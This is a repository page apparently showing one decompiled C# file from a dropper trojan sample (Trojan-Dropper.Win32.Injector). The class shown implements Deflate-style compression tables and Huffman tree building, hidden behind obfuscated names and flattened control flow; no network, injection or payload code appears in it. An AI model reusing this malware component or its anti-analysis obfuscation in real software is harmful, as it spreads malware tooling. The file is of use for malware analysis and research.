MalwareSourceCode/MSIL/Trojan-Dropper/Win32/I/Trojan-Dropper.Win32.Injector.exwr-69a114df5525bb71f18484f15cb4dd44f7c416f26c41b8af17d2ce1b2774383e/.cs

1059 lines
24 KiB
C#
Raw Normal View History

2022-08-18 11:28:56 +00:00
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Feon, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: AF8034ED-5A2C-4122-9E1B-F560737FA983
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.Win32.Injector.exwr-69a114df5525bb71f18484f15cb4dd44f7c416f26c41b8af17d2ce1b2774383e.exe
using System;
using System.Collections;
internal sealed class \uE00B
{
internal const int \uE000 = 32768;
internal const int \uE001 = 258;
internal const int \uE002 = 285;
internal const int \uE003 = 287;
internal const int \uE004 = 29;
internal const int \uE005 = 31;
internal const int \uE006 = 15;
internal const int \uE007 = 256;
internal const int \uE008 = 0;
internal const int \uE009 = 1;
internal const int \uE00A = 2;
internal const int \uE00B = 16;
internal const int \uE00C = 18;
internal const int \uE00D = 16;
internal const int \uE00E = 17;
internal const int \uE00F = 18;
private const int \uE010 = 257;
internal static \uE00C[] \uE011 = new \uE00C[288];
internal static \uE00C[] \uE012;
internal static \uE00E \uE013;
internal static readonly int[] \uE014;
internal static readonly int[] \uE015;
internal static readonly int[] \uE016;
internal static readonly int[] \uE017;
internal static readonly int[] \uE018;
static \uE00B()
{
label_2:
int num1 = 46;
int num2;
int index1;
while (true)
{
switch (num1)
{
case 0:
\uE00B.\uE015 = new int[29];
num1 = 53;
continue;
case 1:
if (num2 != 0)
{
num1 = 54;
continue;
}
goto label_59;
case 2:
\uE00B.\uE015[12] = 19;
num1 = 29;
continue;
case 3:
\uE00B.\uE015[20] = 67;
num1 = 24;
continue;
case 4:
\uE00B.\uE014[17] = 1;
num1 = 36;
continue;
case 5:
\uE00B.\uE014[10] = 11;
num1 = 14;
continue;
case 6:
index1 = 8;
num1 = 40;
continue;
case 7:
\uE00B.\uE015[23] = 115;
num1 = 38;
continue;
case 8:
\uE00B.\uE014[15] = 2;
num1 = 25;
continue;
case 9:
\uE00B.\uE015[25] = 163;
num1 = 10;
continue;
case 10:
\uE00B.\uE015[26] = 195;
num1 = 35;
continue;
case 11:
\uE00B.\uE015[11] = 17;
num1 = 2;
continue;
case 12:
\uE00B.\uE014[8] = 10;
num1 = 30;
continue;
case 13:
\uE00B.\uE015[22] = 99;
num1 = 7;
continue;
case 14:
\uE00B.\uE014[11] = 4;
num1 = 22;
continue;
case 15:
\uE00B.\uE016 = new int[29];
num1 = 6;
continue;
case 16:
\uE00B.\uE015[17] = 43;
num1 = 41;
continue;
case 17:
\uE00B.\uE014[1] = 17;
num1 = 43;
continue;
case 18:
\uE00B.\uE015[6] = 9;
num1 = 42;
continue;
case 19:
\uE00B.\uE014[14] = 13;
num1 = 8;
continue;
case 20:
\uE00B.\uE014[5] = 7;
num1 = 50;
continue;
case 21:
\uE00B.\uE015[15] = 31;
num1 = 51;
continue;
case 22:
\uE00B.\uE014[12] = 12;
num1 = 44;
continue;
case 23:
\uE00B.\uE014[7] = 6;
num1 = 12;
continue;
case 24:
\uE00B.\uE015[21] = 83;
num1 = 13;
continue;
case 25:
\uE00B.\uE014[16] = 14;
num1 = 4;
continue;
case 26:
\uE00B.\uE015[2] = 5;
num1 = 47;
continue;
case 27:
\uE00B.\uE015[1] = 4;
num1 = 26;
continue;
case 28:
\uE00B.\uE015[8] = 11;
num1 = 48;
continue;
case 29:
\uE00B.\uE015[13] = 23;
num1 = 34;
continue;
case 30:
\uE00B.\uE014[9] = 5;
num1 = 5;
continue;
case 31:
\uE00B.\uE015[10] = 15;
num1 = 11;
continue;
case 32:
\uE00B.\uE015[4] = 7;
num1 = 49;
continue;
case 33:
\uE00B.\uE014[4] = 8;
num1 = 20;
continue;
case 34:
\uE00B.\uE015[14] = 27;
num1 = 21;
continue;
case 35:
\uE00B.\uE015[27] = 227;
num1 = 52;
continue;
case 36:
\uE00B.\uE014[18] = 15;
num1 = 0;
continue;
case 37:
\uE00B.\uE014 = new int[19];
num1 = 45;
continue;
case 38:
\uE00B.\uE015[24] = 131;
num1 = 9;
continue;
case 39:
\uE00B.\uE015[19] = 59;
num1 = 3;
continue;
case 40:
num2 = 0;
num1 = 1;
continue;
case 41:
\uE00B.\uE015[18] = 51;
num1 = 39;
continue;
case 42:
\uE00B.\uE015[7] = 10;
num1 = 28;
continue;
case 43:
\uE00B.\uE014[2] = 18;
num1 = 33;
continue;
case 44:
\uE00B.\uE014[13] = 3;
num1 = 19;
continue;
case 45:
\uE00B.\uE014[0] = 16;
num1 = 17;
continue;
case 46:
\uE00B.\uE012 = new \uE00C[32];
num1 = 37;
continue;
case 47:
\uE00B.\uE015[3] = 6;
num1 = 32;
continue;
case 48:
\uE00B.\uE015[9] = 13;
num1 = 31;
continue;
case 49:
\uE00B.\uE015[5] = 8;
num1 = 18;
continue;
case 50:
\uE00B.\uE014[6] = 9;
num1 = 23;
continue;
case 51:
\uE00B.\uE015[16] = 35;
num1 = 16;
continue;
case 52:
\uE00B.\uE015[28] = 258;
num1 = 15;
continue;
case 53:
\uE00B.\uE015[0] = 3;
num1 = 27;
continue;
case 54:
goto label_58;
default:
goto label_2;
}
}
label_58:
int num3 = 0;
goto label_60;
label_59:
num3 = 1;
label_60:
if (num3 != 0)
goto label_64;
label_61:
if (index1 % 4 == 0)
++num2;
\uE00B.\uE016[index1] = num2;
++index1;
label_64:
if (index1 >= 28)
{
\uE00B.\uE017 = new int[30];
\uE00B.\uE017[0] = 1;
\uE00B.\uE017[1] = 2;
\uE00B.\uE017[2] = 3;
\uE00B.\uE017[3] = 4;
\uE00B.\uE017[4] = 5;
\uE00B.\uE017[5] = 7;
\uE00B.\uE017[6] = 9;
\uE00B.\uE017[7] = 13;
\uE00B.\uE017[8] = 17;
\uE00B.\uE017[9] = 25;
\uE00B.\uE017[10] = 33;
\uE00B.\uE017[11] = 49;
\uE00B.\uE017[12] = 65;
\uE00B.\uE017[13] = 97;
\uE00B.\uE017[14] = 129;
\uE00B.\uE017[15] = 193;
\uE00B.\uE017[16] = 257;
\uE00B.\uE017[17] = 385;
\uE00B.\uE017[18] = 513;
\uE00B.\uE017[19] = 769;
\uE00B.\uE017[20] = 1025;
\uE00B.\uE017[21] = 1537;
\uE00B.\uE017[22] = 2049;
\uE00B.\uE017[23] = 3073;
\uE00B.\uE017[24] = 4097;
\uE00B.\uE017[25] = 6145;
\uE00B.\uE017[26] = 8193;
\uE00B.\uE017[27] = 12289;
\uE00B.\uE017[28] = 16385;
\uE00B.\uE017[29] = 24577;
\uE00B.\uE018 = new int[30];
int index2 = 4;
int num4 = 0;
for (; index2 < 30; ++index2)
{
if (index2 % 2 == 0)
++num4;
\uE00B.\uE018[index2] = num4;
}
for (int index3 = 0; index3 <= 143; ++index3)
{
\uE00B.\uE011[index3].\uE000 = 48 + index3;
\uE00B.\uE011[index3].\uE001 = 8;
}
for (int index4 = 144; index4 <= (int) byte.MaxValue; ++index4)
{
\uE00B.\uE011[index4].\uE000 = 400 + index4 - 144;
\uE00B.\uE011[index4].\uE001 = 9;
}
for (int index5 = 256; index5 <= 279; ++index5)
{
\uE00B.\uE011[index5].\uE000 = index5 - 256;
\uE00B.\uE011[index5].\uE001 = 7;
}
for (int index6 = 280; index6 <= 287; ++index6)
{
\uE00B.\uE011[index6].\uE000 = 192 + index6 - 280;
\uE00B.\uE011[index6].\uE001 = 8;
}
for (int index7 = 0; index7 <= 31; ++index7)
{
\uE00B.\uE012[index7].\uE000 = index7;
\uE00B.\uE012[index7].\uE001 = 5;
}
\uE00B.\uE013 = \uE00B.\uE004(\uE00B.\uE011, \uE00B.\uE012);
}
else
goto label_61;
}
internal static int \uE000(int[] _param0, int[] _param1)
{
int num1 = 0;
int index = 0;
if ((index == 0 ? 1 : 0) != 0)
goto label_5;
else
goto label_2;
label_1:
int num2;
switch (num2)
{
case 0:
goto label_3;
case 1:
++index;
goto label_5;
}
label_2:
num2 = 0;
goto label_1;
label_3:
num1 += _param0[index] * _param1[index];
num2 = 1;
goto label_1;
label_5:
if (index >= _param0.Length)
return num1;
goto label_3;
}
internal static int \uE001(int[] _param0, int[] _param1)
{
int num1 = 0;
int index1 = 0;
if ((index1 == 0 ? 1 : 0) != 0)
goto label_5;
else
goto label_2;
label_1:
int num2;
switch (num2)
{
case 0:
goto label_3;
case 1:
++index1;
goto label_5;
}
label_2:
num2 = 0;
goto label_1;
label_3:
num1 += _param0[index1] * \uE00B.\uE011[index1].\uE001;
num2 = 1;
goto label_1;
label_5:
if (index1 >= _param0.Length)
{
for (int index2 = 0; index2 < _param1.Length; ++index2)
num1 += _param1[index2] * \uE00B.\uE012[index2].\uE001;
return num1;
}
goto label_3;
}
internal static \uE00C[] \uE002(int[] _param0)
{
\uE00C[] objArray = new \uE00C[_param0.Length];
int index = 0;
if ((index == 0 ? 1 : 0) != 0)
goto label_5;
else
goto label_2;
label_1:
int num;
switch (num)
{
case 0:
goto label_3;
case 1:
++index;
goto label_5;
}
label_2:
num = 0;
goto label_1;
label_3:
objArray[index].\uE001 = _param0[index];
num = 1;
goto label_1;
label_5:
if (index >= _param0.Length)
{
\uE00B.\uE003(objArray);
return objArray;
}
goto label_3;
}
internal static void \uE003(\uE00C[] _param0)
{
int num1 = _param0[0].\uE001;
int index1 = 1;
if ((index1 == 0 ? 0 : 1) != 0)
goto label_4;
label_1:
if (num1 < _param0[index1].\uE001)
num1 = _param0[index1].\uE001;
++index1;
label_4:
if (index1 >= _param0.Length)
{
int[] numArray1 = new int[num1 + 1];
for (int index2 = 0; index2 < _param0.Length; ++index2)
++numArray1[_param0[index2].\uE001];
int[] numArray2 = new int[num1 + 1];
label_10:
int num2 = 0;
int num3;
int index3;
while (true)
{
switch (num2)
{
case 0:
num3 = 0;
num2 = 1;
continue;
case 1:
numArray1[0] = 0;
num2 = 2;
continue;
case 2:
index3 = 1;
num2 = 3;
continue;
case 3:
goto label_16;
default:
goto label_10;
}
}
label_16:
for (; index3 <= num1; ++index3)
{
num3 = num3 + numArray1[index3 - 1] << 1;
numArray2[index3] = num3;
}
for (int index4 = 0; index4 < _param0.Length; ++index4)
{
int index5 = _param0[index4].\uE001;
if (index5 != 0)
{
_param0[index4].\uE000 = numArray2[index5];
++numArray2[index5];
}
}
}
else
goto label_1;
}
internal static \uE00E \uE004(\uE00C[] _param0, \uE00C[] _param1) => new \uE00E()
{
\uE000 = \uE00B.\uE005(_param0),
\uE001 = \uE00B.\uE005(_param1)
};
internal static \uE00D \uE005(\uE00C[] _param0)
{
\uE00B.\uE008[] objArray = new \uE00B.\uE008[_param0.Length];
int num1 = 0;
int index = 0;
if ((index == 0 ? 1 : 0) != 0)
goto label_9;
label_1:
if (_param0[index].\uE001 > 0)
{
\uE00B.\uE008 obj = new \uE00B.\uE008();
label_4:
int num2 = 0;
while (true)
{
switch (num2)
{
case 0:
obj.\uE000 = _param0[index];
num2 = 1;
continue;
case 1:
obj.\uE001 = (ushort) index;
num2 = 2;
continue;
case 2:
goto label_7;
default:
goto label_4;
}
}
label_7:
objArray[num1++] = obj;
}
++index;
label_9:
if (index >= _param0.Length)
{
if (_param0.Length < 1)
throw new InvalidOperationException();
return \uE00B.\uE006(objArray, num1, 0, 0);
}
goto label_1;
}
private static \uE00D \uE006(
\uE00B.\uE008[] _param0,
int _param1,
int _param2,
int _param3)
{
\uE00B.\uE008[] objArray1 = new \uE00B.\uE008[_param1];
\uE00B.\uE008[] objArray2 = new \uE00B.\uE008[_param1];
\uE00D obj1 = new \uE00D();
obj1.\uE000 = false;
int num1;
int num2 = num1 = 0;
int index = 0;
if ((index == 0 ? 1 : 0) != 0)
goto label_11;
label_1:
\uE00B.\uE008 obj2 = _param0[index];
if (obj2.\uE000.\uE001 == _param3 && obj2.\uE000.\uE000 == _param2)
{
obj1.\uE000 = true;
obj1.\uE001 = obj2.\uE001;
}
else
{
bool flag = (obj2.\uE000.\uE000 >> obj2.\uE000.\uE001 - _param3 - 1 & 1) != 0;
label_5:
int num3 = 0;
while (true)
{
switch (num3)
{
case 0:
if (flag)
{
num3 = 1;
continue;
}
goto label_9;
case 1:
objArray2[num2++] = obj2;
num3 = 2;
continue;
case 2:
goto label_10;
default:
goto label_5;
}
}
label_9:
objArray1[num1++] = obj2;
}
label_10:
++index;
label_11:
if (index >= _param1)
{
if (obj1.\uE000)
{
if (num2 > 0 || num1 > 0)
throw new InvalidOperationException();
}
else
{
if (num1 > 0)
obj1.\uE002 = \uE00B.\uE006(objArray1, num1, _param2 << 1, _param3 + 1);
if (num2 > 0)
obj1.\uE003 = \uE00B.\uE006(objArray2, num2, _param2 << 1 | 1, _param3 + 1);
}
return obj1;
}
goto label_1;
}
internal static void \uE007(int _param0, out int _param1, out int _param2)
{
_param1 = \uE00B.\uE015[_param0 - 257];
label_2:
int num = 0;
while (true)
{
switch (num)
{
case 0:
_param2 = \uE00B.\uE016[_param0 - 257];
num = 1;
continue;
case 1:
goto label_4;
default:
goto label_2;
}
}
label_4:;
}
internal static void \uE008(int _param0, out int _param1, out int _param2, out int _param3)
{
int index = Array.BinarySearch<int>(\uE00B.\uE015, _param0);
if (index < 0)
index = ~index - 1;
_param1 = index + 257;
label_4:
int num = 0;
while (true)
{
switch (num)
{
case 0:
_param2 = _param0 - \uE00B.\uE015[index];
num = 1;
continue;
case 1:
_param3 = \uE00B.\uE016[index];
num = 2;
continue;
case 2:
goto label_7;
default:
goto label_4;
}
}
label_7:;
}
internal static void \uE009(int _param0, out int _param1, out int _param2, out int _param3)
{
int index = Array.BinarySearch<int>(\uE00B.\uE017, _param0);
if (index < 0)
index = ~index - 1;
_param1 = index;
label_4:
int num = 0;
while (true)
{
switch (num)
{
case 0:
_param2 = _param0 - \uE00B.\uE017[index];
num = 1;
continue;
case 1:
_param3 = \uE00B.\uE018[index];
num = 2;
continue;
case 2:
goto label_7;
default:
goto label_4;
}
}
label_7:;
}
internal static int[] \uE00A(int[] _param0, int _param1) => \uE00B.\uE000.\uE000(_param0, _param1);
internal static int[] \uE00B(int[] _param0) => \uE00B.\uE000.\uE000(_param0, 15);
internal static int \uE00C(int _param0)
{
int num1 = _param0;
label_2:
int num2 = 0;
while (true)
{
switch (num2)
{
case 0:
switch (num1)
{
case 16:
goto label_5;
case 17:
goto label_6;
case 18:
goto label_7;
default:
num2 = 1;
continue;
}
case 1:
goto label_8;
default:
goto label_2;
}
}
label_5:
return 2;
label_6:
return 3;
label_7:
return 7;
label_8:
return 0;
}
internal static int[] \uE00D(int[] _param0, int _param1, int _param2)
{
ArrayList arrayList = new ArrayList();
int num1 = 0;
if ((num1 == 0 ? 1 : 0) != 0)
goto label_22;
label_1:
if (_param0[_param1 + num1] == 0)
{
int num2 = 0;
do
{
++num2;
}
while (num1 + num2 < _param2 && num2 < 138 && _param0[_param1 + num1 + num2] == 0);
if (num2 < 3)
{
if (num2 >= 1)
arrayList.Add((object) 0);
if (num2 >= 2)
arrayList.Add((object) 0);
}
else if (num2 < 11)
{
arrayList.Add((object) 17);
arrayList.Add((object) (num2 - 3));
}
else
{
arrayList.Add((object) 18);
arrayList.Add((object) (num2 - 11));
}
num1 += num2;
}
else
{
int num3 = _param0[_param1 + num1++];
label_15:
int num4 = 1;
int num5;
while (true)
{
switch (num4)
{
case 0:
num5 = 0;
num4 = 2;
continue;
case 1:
arrayList.Add((object) num3);
num4 = 0;
continue;
case 2:
goto label_19;
default:
goto label_15;
}
}
label_19:
while (num1 + num5 < _param2 && num5 < 6 && _param0[_param1 + num1 + num5] == num3)
++num5;
if (num5 >= 3)
{
arrayList.Add((object) 16);
arrayList.Add((object) (num5 - 3));
num1 += num5;
}
}
label_22:
if (num1 >= _param2)
return (int[]) arrayList.ToArray(typeof (int));
goto label_1;
}
private sealed class \uE000
{
internal static int[] \uE000(int[] _param0, int _param1)
{
int[] items = new int[_param0.Length];
int[] numArray1 = new int[_param0.Length];
int index1 = 0;
if ((index1 == 0 ? 1 : 0) != 0)
goto label_2;
label_1:
items[index1] = index1;
++index1;
label_2:
if (index1 >= items.Length)
{
Array.Copy((Array) _param0, (Array) numArray1, _param0.Length);
Array.Sort<int, int>(numArray1, items);
int sourceIndex = 0;
while (sourceIndex < numArray1.Length && numArray1[sourceIndex] == 0)
++sourceIndex;
int[] destinationArray = new int[numArray1.Length - sourceIndex];
label_8:
int num = 1;
int[] numArray2;
while (true)
{
switch (num)
{
case 0:
if (destinationArray.Length == 0)
{
num = 2;
continue;
}
goto label_13;
case 1:
Array.Copy((Array) numArray1, sourceIndex, (Array) destinationArray, 0, destinationArray.Length);
num = 0;
continue;
case 2:
numArray2 = new int[0];
num = 3;
continue;
case 3:
goto label_16;
default:
goto label_8;
}
}
label_13:
if (destinationArray.Length == 1)
numArray2 = new int[1]{ 1 };
else
numArray2 = \uE00B.\uE000.\uE001(destinationArray, _param1);
label_16:
int[] numArray3 = new int[_param0.Length];
for (int index2 = 0; index2 < numArray2.Length; ++index2)
numArray3[items[index2 + sourceIndex]] = numArray2[index2];
return numArray3;
}
goto label_1;
}
private static int[] \uE001(int[] _param0, int _param1)
{
int length = _param0.Length;
label_2:
int num1 = 3;
int[][] numArray1;
int index1;
int[] numArray2;
while (true)
{
switch (num1)
{
case 0:
numArray1[0] = _param0;
num1 = 2;
continue;
case 1:
if (index1 != 0)
{
num1 = 5;
continue;
}
goto label_10;
case 2:
numArray2 = new int[_param0.Length / 2];
num1 = 4;
continue;
case 3:
numArray1 = new int[_param1][];
num1 = 0;
continue;
case 4:
index1 = 0;
num1 = 1;
continue;
case 5:
goto label_9;
default:
goto label_2;
}
}
label_9:
int num2 = 0;
goto label_11;
label_10:
num2 = 1;
label_11:
if (num2 != 0)
goto label_13;
label_12:
numArray2[index1] = _param0[index1 * 2] + _param0[index1 * 2 + 1];
++index1;
label_13:
if (index1 >= numArray2.Length)
{
for (int index2 = 1; index2 < _param1; ++index2)
{
int[] numArray3 = \uE00B.\uE000.\uE002(numArray2, _param0);
numArray1[index2] = numArray3;
numArray2 = new int[numArray3.Length / 2];
for (int index3 = 0; index3 < numArray2.Length; ++index3)
numArray2[index3] = numArray3[index3 * 2] + numArray3[index3 * 2 + 1];
}
int[] numArray4 = new int[length];
int num3 = length - 1;
for (int index4 = _param1 - 1; index4 >= 0; --index4)
{
int[] numArray5 = numArray1[index4];
int num4 = 0;
int index5 = 0;
for (int index6 = 0; index6 < num3 * 2; ++index6)
{
if (index5 < _param0.Length && _param0[index5] == numArray5[index6])
{
++numArray4[index5];
++index5;
}
else
++num4;
}
num3 = num4;
}
return numArray4;
}
goto label_12;
}
private static int[] \uE002(int[] _param0, int[] _param1)
{
int[] numArray = new int[_param0.Length + _param1.Length];
label_2:
int num1 = 3;
int index1;
int num2;
int index2;
while (true)
{
switch (num1)
{
case 0:
index1 = 0;
num1 = 2;
continue;
case 1:
if (num2 != 0)
{
num1 = 4;
continue;
}
goto label_9;
case 2:
num2 = 0;
num1 = 1;
continue;
case 3:
index2 = 0;
num1 = 0;
continue;
case 4:
goto label_8;
default:
goto label_2;
}
}
label_8:
int num3 = 0;
goto label_10;
label_9:
num3 = 1;
label_10:
if (num3 != 0)
goto label_12;
label_11:
numArray[num2++] = _param0[index2] >= _param1[index1] ? _param1[index1++] : _param0[index2++];
label_12:
if (index2 >= _param0.Length || index1 >= _param1.Length)
{
while (index2 < _param0.Length)
numArray[num2++] = _param0[index2++];
while (index1 < _param1.Length)
numArray[num2++] = _param1[index1++];
return numArray;
}
goto label_11;
}
}
private struct \uE008
{
internal \uE00C \uE000;
internal ushort \uE001;
}
}